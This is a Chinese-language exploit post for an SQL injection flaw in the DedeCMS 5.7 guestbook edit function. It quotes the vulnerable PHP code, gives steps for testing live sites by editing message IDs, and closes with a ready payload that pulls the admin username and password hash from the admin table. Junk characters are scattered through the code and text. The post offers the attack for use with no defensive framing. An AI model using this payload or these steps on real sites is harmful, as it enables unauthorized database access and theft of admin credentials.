dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
0 \! V; X; ^4 j; b# j% N
漏洞文件edit.inc.php具体代码：
  c7 L/ Z) @! H! I7 P* L
0 f0 a$ w% y* @; e+ \: i< ?php  
$ H/ Z& Q3 n- ]3 F; ]. y' I" X
if(!defined('DEDEINC')) exit('Request Error!');  
& ~# s0 z/ b& f1 [( x. `7 F
   
0 ^! D! k" c6 d, p+ @7 ]. U3 `
' Q* b! {% B- v: P% F5 Z2 ~) Nif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

else $GUEST_BOOK_POS = "guestbook.php";  
! b3 ?$ `5 y3 J
   

$id = intval($id);  

if(empty($job)) $job='view';  

- U( o% N1 w, }8 ?( _- S6 v  R: I   

if($job=='del' && $g_isadmin)  
9 X  s; g: Y' ^0 p
{  

$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
1 D# E, z1 u- v/ ]
ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
2 ^; |% P! z. S
exit();  

}  
" v! J5 O6 y  G+ [& o
' e0 n5 T) O' C$ k" u2 ?5 Pelse if($job=='check' && $g_isadmin)  
- ^" F8 S- q1 k7 C, b6 }# w
{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

2 f! x7 {3 R5 w8 g' ?: ^ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
! A( A: z+ b% r4 |
6 E! J9 x/ P- I5 G/ W5 x9 xexit();  
* I. P8 E( ^5 G+ H
}  

% K4 A9 a7 F& oelse if($job=='editok')  
$ A( n6 J/ {7 r2 V# `
1 g/ r, X, M# H! H{  

$remsg = trim($remsg);  
2 b! E  z) z' _0 A% Z7 Y! f5 b" ~
if($remsg!='')  
4 j4 v; _' M/ U$ k. y
1 T3 I) B- h! v, |{  

//管理员回复不过滤HTML By:Errorera blog:errs.cc  
8 `  ^* p& T, G" l
if($g_isadmin)  
4 }# P% ~) n  `0 m7 ?$ }6 J
& c( A" m0 t9 q5 n{  

. O8 }! i0 O5 B/ Y/ B$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

1 J2 Y- I: A+ z1 i; m' N8 }//$remsg <br /><font color=red>管理员回复：</font> }  

9 z5 o, Z( f0 g! B1 r% Gelse
% ?. ?+ m, Z) y/ I
{  

6 ?- r2 Q4 o4 P3 I1 D9 H8 b- k$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
0 m9 `! _# ~( \1 Q6 b
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

$msg = $oldmsg.$remsg;  

) h+ |; m8 m; w}  
5 y, ^9 j3 q- v* d% ^  x
* c, e- Y- q3 t) k- @" g6 p1 I}  

' E+ X5 j/ y+ j2 ~//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

# h0 @! R9 @6 b( b6 }: Z. k' k" Y$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
+ W/ x. _! u; F0 Y/ Z. d* L& C
9 ~8 }/ p' G1 Y9 \# ]& ?ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

  z% X9 R" A/ q4 @: R) ~exit();  

}  
2 Q, N, }, `" i# R1 E2 p% k
//home:www.errs.cc  
) T. \9 m3 J4 k! |, w
if($g_isadmin)  

{  

$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
. r9 \7 m5 X% ?! E) m+ Q% C4 R8 A! w
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

}  

+ g5 c& U: V8 ~1 i8 v) Jelse

{  

$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
6 R* [. N2 J: Q1 N5 M& p$ }
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

} 漏洞成功需要条件：
2 {9 d9 J3 W  |1 a# J! F1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
; p; U& o. i* f, S$ ^
怎么判断是否存在漏洞：
/ h5 g/ J" v8 r0 b" B$ n先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：

; J! X  w( x) T# e3 Swww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
9 W, j2 X2 p2 u. c
! B6 c5 n6 w& S+ V' A$ }
; j* E* c$ r5 w2 W' S. W+ A明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问

9 H# `; c' i9 R. D- V9 ywww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
1 T! m: Y& R" S3 [& d
4 G* i0 O3 }) t" W大概利用就是这样，大家有兴趣的多研究下！！
6 `3 V6 d# D4 ^+ o5 M
) h% @& Y2 T; G最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
, X' R* c+ t5 l2 k5 m
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='